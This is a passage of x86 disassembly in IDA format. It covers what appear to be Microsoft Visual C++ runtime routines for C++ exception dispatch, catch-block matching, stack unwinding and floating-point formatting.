loc_41C8BC: ; CODE XREF: sub_41C84F+72j
mov al, [esi]
inc esi
test al, al
jnz short loc_41C8BC
and [esi-2], al
loc_41C8C6: ; CODE XREF: sub_41C84F+6Bj
push ebx
push [ebp+arg_4]
push edi
call sub_41C911
add esp, 0Ch
jmp short loc_41C8E5
; ---------------------------------------------------------------------------
loc_41C8D5: ; CODE XREF: sub_41C84F+63j
; sub_41C84F+67j
push [ebp+arg_C]
push ebx
push [ebp+arg_4]
push edi
call sub_41C8EA
add esp, 10h
loc_41C8E5: ; CODE XREF: sub_41C84F+84j
pop edi
pop esi
pop ebx
pop ebp
retn
sub_41C84F endp
; =============== S U B R O U T I N E =======================================
sub_41C8EA proc near ; CODE XREF: sub_41C84F+8Ep
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
arg_C = dword ptr 10h
push [esp+arg_C]
mov byte_48951C, 1
push [esp+4+arg_8]
push [esp+8+arg_4]
push [esp+0Ch+arg_0]
call sub_41C66D
and byte_48951C, 0
add esp, 10h
retn
sub_41C8EA endp
; =============== S U B R O U T I N E =======================================
sub_41C911 proc near ; CODE XREF: sub_41C84F+7Cp
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
push [esp+arg_8]
mov byte_48951C, 1
push [esp+4+arg_4]
push [esp+8+arg_0]
call sub_41C771
and byte_48951C, 0
add esp, 0Ch
retn
sub_41C911 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41C934 proc near ; CODE XREF: sub_419B38+3AAp
; DATA XREF: sub_417A8Bo ...
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
push ebp
mov ebp, esp
cmp [ebp+arg_8], 65h
jz short loc_41C96F
cmp [ebp+arg_8], 45h
jz short loc_41C96F
cmp [ebp+arg_8], 66h
jnz short loc_41C95C
push [ebp+arg_C]
push [ebp+arg_4]
push [ebp+arg_0]
call sub_41C771
add esp, 0Ch
pop ebp
retn
; ---------------------------------------------------------------------------
loc_41C95C: ; CODE XREF: sub_41C934+13j
push [ebp+arg_10]
push [ebp+arg_C]
push [ebp+arg_4]
push [ebp+arg_0]
call sub_41C84F
jmp short loc_41C980
; ---------------------------------------------------------------------------
loc_41C96F: ; CODE XREF: sub_41C934+7j
; sub_41C934+Dj
push [ebp+arg_10]
push [ebp+arg_C]
push [ebp+arg_4]
push [ebp+arg_0]
call sub_41C66D
loc_41C980: ; CODE XREF: sub_41C934+39j
add esp, 10h
pop ebp
retn
sub_41C934 endp
; =============== S U B R O U T I N E =======================================
sub_41C985 proc near ; CODE XREF: sub_41C66D+2Cp
; sub_41C771+83p ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push edi
mov edi, [esp+4+arg_4]
test edi, edi
jz short loc_41C9A8
push esi
mov esi, [esp+8+arg_0]
push esi
call sub_4177B0
inc eax
push eax
push esi
add esi, edi
push esi
call sub_417FC0
add esp, 10h
pop esi
loc_41C9A8: ; CODE XREF: sub_41C985+7j
pop edi
retn
sub_41C985 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41C9AA proc near ; CODE XREF: .data:00417C6Cp
; sub_417CD5+1Bp ...
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
arg_14 = dword ptr 1Ch
arg_18 = dword ptr 20h
arg_1C = dword ptr 24h
push ebp
mov ebp, esp
push esi
mov esi, [ebp+arg_10]
push edi
mov edi, 19930520h
cmp [esi], edi
jz short loc_41C9C0
call sub_41D252
loc_41C9C0: ; CODE XREF: sub_41C9AA+Fj
mov eax, [ebp+arg_0]
test byte ptr [eax+4], 66h
jz short loc_41C9E8
cmp dword ptr [esi+4], 0
jz short loc_41CA3E
cmp [ebp+arg_14], 0
jnz short loc_41CA3E
push 0FFFFFFFFh
push esi
push [ebp+arg_C]
push [ebp+arg_4]
call sub_41CCF1
add esp, 10h
jmp short loc_41CA3E
; ---------------------------------------------------------------------------
loc_41C9E8: ; CODE XREF: sub_41C9AA+1Dj
cmp dword ptr [esi+0Ch], 0
jz short loc_41CA3E
cmp dword ptr [eax], 0E06D7363h
jnz short loc_41CA22
cmp [eax+14h], edi
jbe short loc_41CA22
mov ecx, [eax+1Ch]
mov ecx, [ecx+8]
test ecx, ecx
jz short loc_41CA22
movzx edx, byte ptr [ebp+arg_1C]
push edx
push [ebp+arg_18]
push [ebp+arg_14]
push esi
push [ebp+arg_C]
push [ebp+arg_8]
push [ebp+arg_4]
push eax
call ecx
add esp, 20h
jmp short loc_41CA41
; ---------------------------------------------------------------------------
loc_41CA22: ; CODE XREF: sub_41C9AA+4Aj
; sub_41C9AA+4Fj ...
push [ebp+arg_18]
push [ebp+arg_14]
push [ebp+arg_1C]
push esi
push [ebp+arg_C]
push [ebp+arg_8]
push [ebp+arg_4]
push eax
call sub_41CA45
add esp, 20h
loc_41CA3E: ; CODE XREF: sub_41C9AA+23j
; sub_41C9AA+29j ...
push 1
pop eax
loc_41CA41: ; CODE XREF: sub_41C9AA+76j
pop edi
pop esi
pop ebp
retn
sub_41C9AA endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41CA45 proc near ; CODE XREF: sub_41C9AA+8Cp
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
arg_14 = byte ptr 1Ch
arg_18 = dword ptr 20h
arg_1C = dword ptr 24h
push ebp
mov ebp, esp
sub esp, 18h
mov eax, [ebp+arg_4]
and byte ptr [ebp+var_14], 0
mov eax, [eax+8]
cmp eax, 0FFFFFFFFh
mov [ebp+var_10], eax
jl short loc_41CA65
mov ecx, [ebp+arg_10]
cmp eax, [ecx+4]
jl short loc_41CA6A
loc_41CA65: ; CODE XREF: sub_41CA45+16j
call sub_41D252
loc_41CA6A: ; CODE XREF: sub_41CA45+1Ej
push ebx
push esi
mov esi, [ebp+arg_0]
mov ebx, 0E06D7363h
push edi
mov edi, 19930520h
cmp [esi], ebx
jnz loc_41CBC1
cmp dword ptr [esi+10h], 3
jnz short loc_41CADE
cmp [esi+14h], edi
jnz short loc_41CADE
cmp dword ptr [esi+1Ch], 0
jnz short loc_41CADE
mov esi, dword_489528
test esi, esi
jz loc_41CBBC
mov eax, dword_48952C
push 1
push esi
mov [ebp+arg_8], eax
mov byte ptr [ebp+var_14], 1
call sub_4205FE
pop ecx
test eax, eax
pop ecx
jnz short loc_41CAC0
call sub_41D252
loc_41CAC0: ; CODE XREF: sub_41CA45+74j
cmp [esi], ebx
jnz loc_41CBC1
cmp dword ptr [esi+10h], 3
jnz short loc_41CADE
cmp [esi+14h], edi
jnz short loc_41CADE
cmp dword ptr [esi+1Ch], 0
jnz short loc_41CADE
call sub_41D252
loc_41CADE: ; CODE XREF: sub_41CA45+41j
; sub_41CA45+46j ...
cmp [esi], ebx
jnz loc_41CBC1
cmp dword ptr [esi+10h], 3
jnz loc_41CBC1
cmp [esi+14h], edi
jnz loc_41CBC1
mov edi, [ebp+var_10]
lea eax, [ebp+var_18]
push eax
lea eax, [ebp+var_4]
push eax
push edi
push [ebp+arg_18]
push [ebp+arg_10]
call sub_417E23
add esp, 14h
mov ebx, eax
loc_41CB15: ; CODE XREF: sub_41CA45+162j
mov eax, [ebp+var_4]
cmp eax, [ebp+var_18]
jnb loc_41CBAC
cmp [ebx], edi
jg short loc_41CBA1
cmp edi, [ebx+4]
jg short loc_41CBA1
mov eax, [ebx+10h]
mov [ebp+arg_0], eax
mov eax, [ebx+0Ch]
test eax, eax
mov [ebp+var_C], eax
jle short loc_41CB9E
loc_41CB3A: ; CODE XREF: sub_41CA45+131j
mov eax, [esi+1Ch]
mov eax, [eax+0Ch]
lea edi, [eax+4]
mov eax, [eax]
test eax, eax
mov [ebp+var_8], eax
jle short loc_41CB6B
loc_41CB4C: ; CODE XREF: sub_41CA45+124j
push dword ptr [esi+1Ch]
push dword ptr [edi]
push [ebp+arg_0]
call sub_41CC94
add esp, 0Ch
test eax, eax
jnz short loc_41CB7A
dec [ebp+var_8]
add edi, 4
cmp [ebp+var_8], eax
jg short loc_41CB4C
loc_41CB6B: ; CODE XREF: sub_41CA45+105j
dec [ebp+var_C]
add [ebp+arg_0], 10h
cmp [ebp+var_C], 0
jg short loc_41CB3A
jmp short loc_41CB9E
; ---------------------------------------------------------------------------
loc_41CB7A: ; CODE XREF: sub_41CA45+119j
push [ebp+var_14]
push [ebp+arg_1C]
push [ebp+arg_18]
push ebx
push dword ptr [edi]
push [ebp+arg_0]
push [ebp+arg_10]
push [ebp+arg_C]
push [ebp+arg_8]
push [ebp+arg_4]
push esi
call sub_41CDA5
add esp, 2Ch
loc_41CB9E: ; CODE XREF: sub_41CA45+F3j
; sub_41CA45+133j
mov edi, [ebp+var_10]
loc_41CBA1: ; CODE XREF: sub_41CA45+DEj
; sub_41CA45+E3j
inc [ebp+var_4]
add ebx, 14h
jmp loc_41CB15
; ---------------------------------------------------------------------------
loc_41CBAC: ; CODE XREF: sub_41CA45+D6j
cmp [ebp+arg_14], 0
jz short loc_41CBBC
push 1
push esi
call sub_41D11A
pop ecx
pop ecx
loc_41CBBC: ; CODE XREF: sub_41CA45+56j
; sub_41CA45+16Bj ...
pop edi
pop esi
pop ebx
leave
retn
; ---------------------------------------------------------------------------
loc_41CBC1: ; CODE XREF: sub_41CA45+37j
; sub_41CA45+7Dj ...
cmp [ebp+arg_14], 0
jnz short loc_41CBE7
push [ebp+arg_1C]
push [ebp+arg_18]
push [ebp+var_10]
push [ebp+arg_10]
push [ebp+arg_C]
push [ebp+arg_8]
push [ebp+arg_4]
push esi
call sub_41CBEC
add esp, 20h
jmp short loc_41CBBC
; ---------------------------------------------------------------------------
loc_41CBE7: ; CODE XREF: sub_41CA45+180j
jmp sub_41D1FC
sub_41CA45 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41CBEC proc near ; CODE XREF: sub_41CA45+198p
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
arg_14 = dword ptr 1Ch
arg_18 = dword ptr 20h
arg_1C = dword ptr 24h
push ebp
mov ebp, esp
push ecx
push ecx
cmp dword_489530, 0
push esi
push edi
jz short loc_41CC1D
push [ebp+arg_1C]
push [ebp+arg_18]
push [ebp+arg_10]
push [ebp+arg_C]
push [ebp+arg_8]
push [ebp+arg_4]
push [ebp+arg_0]
call sub_417CFA
add esp, 1Ch
test eax, eax
jnz short loc_41CC90
loc_41CC1D: ; CODE XREF: sub_41CBEC+Ej
mov edi, [ebp+arg_14]
lea eax, [ebp+var_8]
push eax
lea eax, [ebp+var_4]
push eax
push edi
push [ebp+arg_18]
push [ebp+arg_10]
call sub_417E23
add esp, 14h
mov esi, eax
loc_41CC39: ; CODE XREF: sub_41CBEC+A2j
mov eax, [ebp+var_4]
cmp eax, [ebp+var_8]
jnb short loc_41CC90
cmp edi, [esi]
jl short loc_41CC88
cmp edi, [esi+4]
jg short loc_41CC88
mov eax, [esi+0Ch]
mov ecx, [esi+10h]
shl eax, 4
add eax, ecx
mov ecx, [eax-0Ch]
test ecx, ecx
jz short loc_41CC62
cmp byte ptr [ecx+8], 0
jnz short loc_41CC88
loc_41CC62: ; CODE XREF: sub_41CBEC+6Ej
push 1
add eax, 0FFFFFFF0h
push [ebp+arg_1C]
push [ebp+arg_18]
push esi
push 0
push eax
push [ebp+arg_10]
push [ebp+arg_C]
push [ebp+arg_8]
push [ebp+arg_4]
push [ebp+arg_0]
call sub_41CDA5
add esp, 2Ch
loc_41CC88: ; CODE XREF: sub_41CBEC+57j
; sub_41CBEC+5Cj ...
inc [ebp+var_4]
add esi, 14h
jmp short loc_41CC39
; ---------------------------------------------------------------------------
loc_41CC90: ; CODE XREF: sub_41CBEC+2Fj
; sub_41CBEC+53j
pop edi
pop esi
leave
retn
sub_41CBEC endp
; =============== S U B R O U T I N E =======================================
sub_41CC94 proc near ; CODE XREF: sub_41CA45+10Fp
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
push esi
push edi
mov edi, [esp+8+arg_0]
mov eax, [edi+4]
test eax, eax
jz short loc_41CCEB
cmp byte ptr [eax+8], 0
lea edx, [eax+8]
jz short loc_41CCEB
mov esi, [esp+8+arg_4]
mov ecx, [esi+4]
cmp eax, ecx
jz short loc_41CCC5
add ecx, 8
push ecx
push edx
call sub_4173D0
pop ecx
test eax, eax
pop ecx
jnz short loc_41CCE7
loc_41CCC5: ; CODE XREF: sub_41CC94+1Fj
test byte ptr [esi], 2
jz short loc_41CCCF
test byte ptr [edi], 8
jz short loc_41CCE7
loc_41CCCF: ; CODE XREF: sub_41CC94+34j
mov eax, [esp+8+arg_8]
mov eax, [eax]
test al, 1
jz short loc_41CCDE
test byte ptr [edi], 1
jz short loc_41CCE7
loc_41CCDE: ; CODE XREF: sub_41CC94+43j
test al, 2
jz short loc_41CCEB
test byte ptr [edi], 2
jnz short loc_41CCEB
loc_41CCE7: ; CODE XREF: sub_41CC94+2Fj
; sub_41CC94+39j ...
xor eax, eax
jmp short loc_41CCEE
; ---------------------------------------------------------------------------
loc_41CCEB: ; CODE XREF: sub_41CC94+Bj
; sub_41CC94+14j ...
push 1
pop eax
loc_41CCEE: ; CODE XREF: sub_41CC94+55j
pop edi
pop esi
retn
sub_41CC94 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41CCF1 proc near ; CODE XREF: sub_41C9AA+34p
; sub_41CDA5+42p
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
push 0FFFFFFFFh
push offset dword_423858
push offset sub_41F4A0
mov eax, large fs:0
push eax
mov large fs:0, esp
sub esp, 0Ch
push ebx
push esi
push edi
mov [ebp+var_18], esp
mov ebx, [ebp+arg_0]
mov esi, [ebx+8]
mov [ebp+var_1C], esi
mov edi, [ebp+arg_8]
loc_41CD23: ; CODE XREF: sub_41CCF1+8Aj
cmp esi, [ebp+arg_C]
jz short loc_41CD7D
cmp esi, 0FFFFFFFFh
jle short loc_41CD32
cmp esi, [edi+4]
jl short loc_41CD37
loc_41CD32: ; CODE XREF: sub_41CCF1+3Aj
call sub_41D252
loc_41CD37: ; CODE XREF: sub_41CCF1+3Fj
and [ebp+var_4], 0
mov eax, [edi+8]
mov eax, [eax+esi*8+4]
test eax, eax
jz short loc_41CD52
push 103h
push ebx
push eax
call sub_41D1B0
loc_41CD52: ; CODE XREF: sub_41CCF1+53j
or [ebp+var_4], 0FFFFFFFFh
jmp short loc_41CD72
; ---------------------------------------------------------------------------
push [ebp+var_14]
call sub_41CD8F
pop ecx
retn
; ---------------------------------------------------------------------------
mov esp, [ebp+var_18]
or [ebp+var_4], 0FFFFFFFFh
mov edi, [ebp+arg_8]
mov ebx, [ebp+arg_0]
mov esi, [ebp+var_1C]
loc_41CD72: ; CODE XREF: sub_41CCF1+65j
mov eax, [edi+8]
mov esi, [eax+esi*8]
mov [ebp+var_1C], esi
jmp short loc_41CD23
; ---------------------------------------------------------------------------
loc_41CD7D: ; CODE XREF: sub_41CCF1+35j
mov [ebx+8], esi
mov ecx, [ebp+var_10]
mov large fs:0, ecx
pop edi
pop esi
pop ebx
leave
retn
sub_41CCF1 endp
; =============== S U B R O U T I N E =======================================
sub_41CD8F proc near ; CODE XREF: sub_41CCF1+6Ap
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
mov eax, [eax]
cmp dword ptr [eax], 0E06D7363h
jz short loc_41CDA0
xor eax, eax
retn
; ---------------------------------------------------------------------------
loc_41CDA0: ; CODE XREF: sub_41CD8F+Cj
jmp sub_41D1FC
sub_41CD8F endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41CDA5 proc near ; CODE XREF: sub_41CA45+151p
; sub_41CBEC+94p
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
arg_14 = dword ptr 1Ch
arg_18 = dword ptr 20h
arg_1C = dword ptr 24h
arg_20 = dword ptr 28h
arg_24 = dword ptr 2Ch
push ebp
mov ebp, esp
cmp [ebp+arg_18], 0
push ebx
mov ebx, [ebp+arg_14]
push esi
push edi
mov edi, [ebp+arg_4]
jz short loc_41CDC7
push [ebp+arg_18]
push ebx
push edi
push [ebp+arg_0]
call sub_41CF56
add esp, 10h
loc_41CDC7: ; CODE XREF: sub_41CDA5+10j
cmp [ebp+arg_24], 0
push [ebp+arg_0]
jnz short loc_41CDD3
push edi
jmp short loc_41CDD6
; ---------------------------------------------------------------------------
loc_41CDD3: ; CODE XREF: sub_41CDA5+29j
push [ebp+arg_24]
loc_41CDD6: ; CODE XREF: sub_41CDA5+2Cj
call sub_417BFC
mov esi, [ebp+arg_1C]
push dword ptr [esi]
push [ebp+arg_10]
push [ebp+arg_C]
push edi
call sub_41CCF1
mov eax, [esi+4]
push 100h
push [ebp+arg_20]
inc eax
mov [edi+8], eax
push dword ptr [ebx+0Ch]
push [ebp+arg_10]
push [ebp+arg_8]
push edi
push [ebp+arg_0]
call sub_41CE20
add esp, 2Ch
test eax, eax
jz short loc_41CE1B
push edi
push eax
call sub_417BBA
loc_41CE1B: ; CODE XREF: sub_41CDA5+6Dj
pop edi
pop esi
pop ebx
pop ebp
retn
sub_41CDA5 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41CE20 proc near ; CODE XREF: sub_41CDA5+63p
var_2C = dword ptr -2Ch
var_28 = dword ptr -28h
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_10 = dword ptr -10h
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
arg_14 = dword ptr 1Ch
arg_18 = dword ptr 20h
push ebp
mov ebp, esp
push 0FFFFFFFFh
push offset dword_423868
push offset sub_41F4A0
mov eax, large fs:0
push eax
mov large fs:0, esp
sub esp, 1Ch
push ebx
push esi
push edi
mov [ebp+var_18], esp
mov eax, [ebp+arg_10]
mov [ebp+var_2C], eax
xor ebx, ebx
mov [ebp+var_24], ebx
mov esi, [ebp+arg_4]
mov ecx, [esi-4]
mov [ebp+var_28], ecx
mov ecx, dword_489528
mov [ebp+var_1C], ecx
mov ecx, dword_48952C
mov [ebp+var_20], ecx
mov edi, [ebp+arg_0]
mov dword_489528, edi
mov ecx, [ebp+arg_8]
mov dword_48952C, ecx
mov [ebp+var_4], ebx
mov [ebp+var_4], 1
push [ebp+arg_18]
push [ebp+arg_14]
push eax
push [ebp+arg_C]
push esi
call sub_417C81
add esp, 14h
mov [ebp+var_2C], eax
mov [ebp+var_4], ebx
or [ebp+var_4], 0FFFFFFFFh
call sub_41CEE6
mov eax, [ebp+var_2C]
loc_41CEAD: ; CODE XREF: sub_41CEC6+16j
mov ecx, [ebp+var_10]
mov large fs:0, ecx
pop edi
pop esi
pop ebx
leave
retn
sub_41CE20 endp
; =============== S U B R O U T I N E =======================================
sub_41CEBC proc near ; DATA XREF: .data:00423878o
push dword ptr [ebp-14h]
call sub_41CF2C
pop ecx
retn
sub_41CEBC endp
; =============== S U B R O U T I N E =======================================
sub_41CEC6 proc near ; DATA XREF: .data:0042387Co
mov esp, [ebp-18h]
and dword ptr [ebp-2Ch], 0
push 0FFFFFFFFh
lea eax, [ebp-10h]
push eax
call sub_417EE2
pop ecx
pop ecx
xor eax, eax
jmp short loc_41CEAD
sub_41CEC6 endp
; ---------------------------------------------------------------------------
loc_41CEDE: ; DATA XREF: .data:00423870o
xor ebx, ebx
mov esi, [ebp+0Ch]
mov edi, [ebp+8]
; =============== S U B R O U T I N E =======================================
sub_41CEE6 proc near ; CODE XREF: sub_41CE20+85p
mov eax, [ebp-28h]
mov [esi-4], eax
mov eax, [ebp-1Ch]
mov dword_489528, eax
mov eax, [ebp-20h]
mov dword_48952C, eax
cmp dword ptr [edi], 0E06D7363h
jnz short locret_41CF2B
cmp dword ptr [edi+10h], 3
jnz short locret_41CF2B
cmp dword ptr [edi+14h], 19930520h
jnz short locret_41CF2B
cmp [ebp-24h], ebx
jnz short locret_41CF2B
cmp [ebp-2Ch], ebx
jz short locret_41CF2B
call sub_417F4A
push eax
push edi
call sub_41D11A
pop ecx
pop ecx
locret_41CF2B: ; CODE XREF: sub_41CEE6+1Cj
; sub_41CEE6+22j ...
retn
sub_41CEE6 endp
; =============== S U B R O U T I N E =======================================
sub_41CF2C proc near ; CODE XREF: sub_41CEBC+3p
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
mov eax, [eax]
cmp dword ptr [eax], 0E06D7363h
jnz short loc_41CF53
cmp dword ptr [eax+10h], 3
jnz short loc_41CF53
cmp dword ptr [eax+14h], 19930520h
jnz short loc_41CF53
cmp dword ptr [eax+1Ch], 0
jnz short loc_41CF53
push 1
pop eax
retn
; ---------------------------------------------------------------------------
loc_41CF53: ; CODE XREF: sub_41CF2C+Cj
; sub_41CF2C+12j ...
xor eax, eax
retn
sub_41CF2C endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41CF56 proc near ; CODE XREF: sub_41CDA5+1Ap
var_18 = dword ptr -18h
var_10 = dword ptr -10h
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
push 0FFFFFFFFh
push offset dword_423880
push offset sub_41F4A0
mov eax, large fs:0
push eax
mov large fs:0, esp
sub esp, 0Ch
push ebx
push esi
push edi
mov [ebp+var_18], esp
mov ecx, [ebp+arg_8]
mov eax, [ecx+4]
test eax, eax
jz loc_41D0FF
cmp byte ptr [eax+8], 0
jz loc_41D0FF
mov eax, [ecx+8]
test eax, eax
jz loc_41D0FF
mov edx, [ebp+arg_4]
lea edi, [eax+edx+0Ch]
and [ebp+var_4], 0
test byte ptr [ecx], 8
jz short loc_41CFF3
mov esi, [ebp+arg_0]
push 1
push dword ptr [esi+18h]
call sub_4205FE
pop ecx
pop ecx
test eax, eax
jz loc_41D0F6
push 1
push edi
call sub_42061A
pop ecx
pop ecx
test eax, eax
jz loc_41D0F6
mov eax, [esi+18h]
mov [edi], eax
mov ecx, [ebp+arg_C]
add ecx, 8
push ecx
loc_41CFE4: ; CODE XREF: sub_41CF56+F5j
push eax
call sub_41D181
pop ecx
pop ecx
mov [edi], eax
jmp loc_41D0FB
; ---------------------------------------------------------------------------
loc_41CFF3: ; CODE XREF: sub_41CF56+57j
mov esi, [ebp+arg_C]
test byte ptr [esi], 1
jz short loc_41D04D
mov ebx, [ebp+arg_0]
push 1
push dword ptr [ebx+18h]
call sub_4205FE
pop ecx
pop ecx
test eax, eax
jz loc_41D0F6
push 1
push edi
call sub_42061A
pop ecx
pop ecx
test eax, eax
jz loc_41D0F6
push dword ptr [esi+14h]
push dword ptr [ebx+18h]
push edi
call sub_417FC0
add esp, 0Ch
cmp dword ptr [esi+14h], 4
jnz loc_41D0FB
mov eax, [edi]
test eax, eax
jz loc_41D0FB
add esi, 8
push esi
jmp short loc_41CFE4
; ---------------------------------------------------------------------------
loc_41D04D: ; CODE XREF: sub_41CF56+A3j
cmp dword ptr [esi+18h], 0
mov ebx, [ebp+arg_0]
push 1
push dword ptr [ebx+18h]
jnz short loc_41D095
call sub_4205FE
pop ecx
pop ecx
test eax, eax
jz loc_41D0F6
push 1
push edi
call sub_42061A
pop ecx
pop ecx
test eax, eax
jz short loc_41D0F6
push dword ptr [esi+14h]
add esi, 8
push esi
push dword ptr [ebx+18h]
call sub_41D181
pop ecx
pop ecx
push eax
push edi
call sub_417FC0
add esp, 0Ch
jmp short loc_41D0FB
; ---------------------------------------------------------------------------
loc_41D095: ; CODE XREF: sub_41CF56+103j
call sub_4205FE
pop ecx
pop ecx
test eax, eax
jz short loc_41D0F6
push 1
push edi
call sub_42061A
pop ecx
pop ecx
test eax, eax
jz short loc_41D0F6
push dword ptr [esi+18h]
call sub_420636
pop ecx
test eax, eax
jz short loc_41D0F6
test byte ptr [esi], 4
jz short loc_41D0DC
push 1
lea eax, [esi+8]
push eax
push dword ptr [ebx+18h]
call sub_41D181
pop ecx
pop ecx
push eax
push dword ptr [esi+18h]
push edi
call sub_417BF5
jmp short loc_41D0FB
; ---------------------------------------------------------------------------
loc_41D0DC: ; CODE XREF: sub_41CF56+168j
lea eax, [esi+8]
push eax
push dword ptr [ebx+18h]
call sub_41D181
pop ecx
pop ecx
push eax
push dword ptr [esi+18h]
push edi
call sub_417BEE
jmp short loc_41D0FB
; ---------------------------------------------------------------------------
loc_41D0F6: ; CODE XREF: sub_41CF56+6Aj
; sub_41CF56+7Cj ...
call sub_41D252
loc_41D0FB: ; CODE XREF: sub_41CF56+98j
; sub_41CF56+E1j ...
or [ebp+var_4], 0FFFFFFFFh
loc_41D0FF: ; CODE XREF: sub_41CF56+2Ej
; sub_41CF56+38j ...
mov ecx, [ebp+var_10]
mov large fs:0, ecx
pop edi
pop esi
pop ebx
leave
retn
sub_41CF56 endp
; ---------------------------------------------------------------------------
push 1
pop eax
retn
; ---------------------------------------------------------------------------
mov esp, [ebp-18h]
jmp sub_41D1FC
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41D11A proc near ; CODE XREF: sub_41CA45+170p
; sub_41CEE6+3Ep
var_18 = dword ptr -18h
var_10 = dword ptr -10h
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
push 0FFFFFFFFh
push offset dword_423890
push offset sub_41F4A0
mov eax, large fs:0
push eax
mov large fs:0, esp
push ecx
push ecx
push ebx
push esi
push edi
mov [ebp+var_18], esp
mov eax, [ebp+arg_0]
test eax, eax
jz short loc_41D161
mov ecx, [eax+1Ch]
mov ecx, [ecx+4]
test ecx, ecx
jz short loc_41D161
and [ebp+var_4], 0
push ecx
push dword ptr [eax+18h]
call sub_417BEE
or [ebp+var_4], 0FFFFFFFFh
loc_41D161: ; CODE XREF: sub_41D11A+2Aj
; sub_41D11A+34j
mov ecx, [ebp+var_10]
mov large fs:0, ecx
pop edi
pop esi
pop ebx
leave
retn
sub_41D11A endp
; ---------------------------------------------------------------------------
xor eax, eax
cmp [ebp+0Ch], al
setnz al
retn
; ---------------------------------------------------------------------------
mov esp, [ebp-18h]
jmp sub_41D1FC
; =============== S U B R O U T I N E =======================================
sub_41D181 proc near ; CODE XREF: sub_41CF56+8Fp
; sub_41CF56+12Cp ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
mov ecx, [esp+arg_4]
push esi
mov esi, [esp+4+arg_0]
mov eax, [ecx]
mov edx, [ecx+4]
add eax, esi
test edx, edx
jl short loc_41D1A2
mov esi, [edx+esi]
mov ecx, [ecx+8]
mov ecx, [esi+ecx]
add ecx, edx
add eax, ecx
loc_41D1A2: ; CODE XREF: sub_41D181+12j
pop esi
retn
sub_41D181 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41D1B0 proc near ; CODE XREF: sub_417C81+40p
; sub_41CCF1+5Cp
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 4
push ebx
push ecx
mov eax, [ebp+arg_4]
add eax, 0Ch
mov [ebp+var_4], eax
mov eax, [ebp+arg_0]
push ebp
push [ebp+arg_8]
mov ecx, [ebp+arg_8]
mov ebp, [ebp+var_4]
call sub_417F6D
push esi
push edi
call eax
pop edi
pop esi
mov ebx, ebp
pop ebp
mov ecx, [ebp+arg_8]
push ebp
mov ebp, ebx
cmp ecx, 100h
jnz short loc_41D1EF
mov ecx, 2
loc_41D1EF: ; CODE XREF: sub_41D1B0+38j
push ecx
call sub_417F6D
pop ebp
pop ecx
pop ebx
leave
retn 0Ch
sub_41D1B0 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41D1FC proc near ; CODE XREF: sub_41CA45:loc_41CBE7j
; sub_41CD8F:loc_41CDA0j ...
var_18 = dword ptr -18h
var_4 = dword ptr -4
; FUNCTION CHUNK AT 0042064E SIZE 00000017 BYTES
push ebp
mov ebp, esp
push 0FFFFFFFFh
push offset dword_4238A0
push offset sub_41F4A0
mov eax, large fs:0
push eax
mov large fs:0, esp
push ecx
push ecx
push ebx
push esi
push edi
mov [ebp+var_18], esp
and [ebp+var_4], 0
mov eax, dword_489534
test eax, eax
jz short loc_41D244
mov [ebp+var_4], 1
call eax
jmp short loc_41D240
; ---------------------------------------------------------------------------
loc_41D239: ; DATA XREF: .data:004238B0o
push 1
pop eax
retn
; ---------------------------------------------------------------------------
loc_41D23D: ; DATA XREF: .data:004238B4o
mov esp, [ebp+var_18]
loc_41D240: ; CODE XREF: sub_41D1FC+3Bj
and [ebp+var_4], 0
loc_41D244: ; CODE XREF: sub_41D1FC+30j
or [ebp+var_4], 0FFFFFFFFh
call $+5
loc_41D24D: ; DATA XREF: .data:004238A8o
